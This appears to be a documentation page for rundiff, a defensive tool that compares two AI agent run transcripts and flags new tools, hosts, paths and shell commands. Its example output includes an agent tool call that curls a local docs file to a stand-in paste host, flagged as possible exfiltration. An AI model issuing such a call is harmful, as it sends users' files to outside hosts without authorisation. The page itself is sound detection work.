agentsec · Tools · rundiff

Offline · stdlib-only · MIT

rundiff: detect behavioral drift between agent runs in AI agents


Offline behavioral diff for two AI agent run transcripts.

What it detects

Offline behavioral diff for two AI agent run transcripts.

You changed a system prompt, swapped a model, or added a tool. Did the agent's *behavior* change? rundiff compares a baseline run and a candidate run and tells you which tool calls were added, removed, or reordered, which arguments changed, where tool results diverged, how similar the final answers are, and, for security review, what new surface the candidate touches (new tools, network hosts, filesystem paths, shell programs).

Single file, Python 3 standard library only, no network access, no dependencies.

Rules

exitmeaning
0no difference of the gated kind (always 0 with --fail-on none, the default)
1--fail-on condition met
2error (unreadable file, invalid JSON, bad arguments)

Usage

python3 rundiff.py BASELINE CANDIDATE [--format auto|openai|anthropic|generic]
                   [--ignore-keys k1,k2,glob*] [--json] [--no-color]
                   [--fail-on any|new-surface|args|none]

After pip install of the kit, the same options work as agentsec rundiff …. Every tool also accepts --help and almost every tool accepts --json.

Example output

The bundled examples/ pair: the candidate drops list_dir, changes search_docs.limit from 5 to 20, curls ./docs/RELEASE.md to an unfamiliar paste host, and writes a file with a new write_file tool.

With --fail-on new-surface (or any, or args), this example exits 1. Comparing a run with itself exits 0.

$ python3 rundiff.py examples/baseline.jsonl examples/candidate.jsonl --ignore-keys request_id,took_ms --no-color
rundiff 0.1.0  (heuristic behavioral diff)
baseline : examples/baseline.jsonl [openai]
candidate: examples/candidate.jsonl [openai]

Summary
                   baseline  candidate
  calls                   4          5
  turns                   5          6
  user_turns              1          1
  unique_tools            4          4
  tokens.input         3030       3840
  tokens.output         143        208
  tokens.total         3173       4048
  matched calls: 3

Tool-call changes
  - removed  #3 list_dir {"path": "./docs"}
  + added    #3 run_shell {"command": "curl -s -X POST https://paste.unfamiliar-host.…
  + added    #4 write_file {"content": "v2.3: faster sync, login fix, export command",…

Argument changes
  search_docs (baseline #0 / candidate #0)
    ~ limit: 5 -> 20

Result divergence
  (none)

Final answer
  similarity: 0.58
  baseline : v2.3 brings faster sync, a login bug fix, and a new export command. Recent commits match these changes.
  candidate: v2.3 adds faster sync, fixes a login bug, and introduces an export command. I saved a summary to /tmp/agent-out/summary.md.

New surface in candidate (heuristic risk notes)
  ! new tool    write_file  [calls #4 via write_file]
      risk: candidate uses a tool never used in baseline; review its permissions/side effects (heuristic)
  ! new host    paste.unfamiliar-host.example  [calls #3 via run_shell]
      risk: candidate contacts a network host not seen in baseline; possible exfiltration or untrusted fetch (heuristic)
  ! new path    /tmp/agent-out/summary.md  [calls #4 via write_file]
      risk: candidate touches a filesystem path not seen in baseline (heuristic)
  ! new dir     /tmp/agent-out  [calls #4 via write_file]
      risk: candidate touches a directory not seen in baseline (heuristic)
  ! new command curl  [calls #3 via run_shell]
      risk: candidate runs a shell program not seen in baseline (heuristic)

Note: alignment and surface extraction are heuristic; nondeterministic agents differ naturally. rundiff does not judge which run is better.

SARIF and CI

agentsec rundiff path/to/input --json > rundiff.json
# rundiff does not yet emit SARIF; use --json and keep --fail-on for CI.

# GitHub Actions (composite action ships with the repo)
- uses: dunkleschitz/agentsec@v0
  with:
    tools: rundiff
    paths: path/to/input
    fail-on: high

--sarif is not available on this tool yet (resultguard and toolpoison are reserved as good first issues). Use --json and a --fail-on exit gate instead.

OWASP mapping

Heuristic mapping of what this tool helps a reviewer look for. Not an official OWASP endorsement, and not complete coverage of any item. Sources: OWASP Top 10 for LLM Applications 2025 and OWASP Top 10 for Agentic Applications 2026.

Known limits

Heuristic scanner, not a security boundary. A clean result does not mean something is safe. All example secrets in this repository are fake.

Full source, tests, and fixtures: tools/rundiff/ in the repository. Install the kit with pip install git+https://github.com/dunkleschitz/agentsec.git.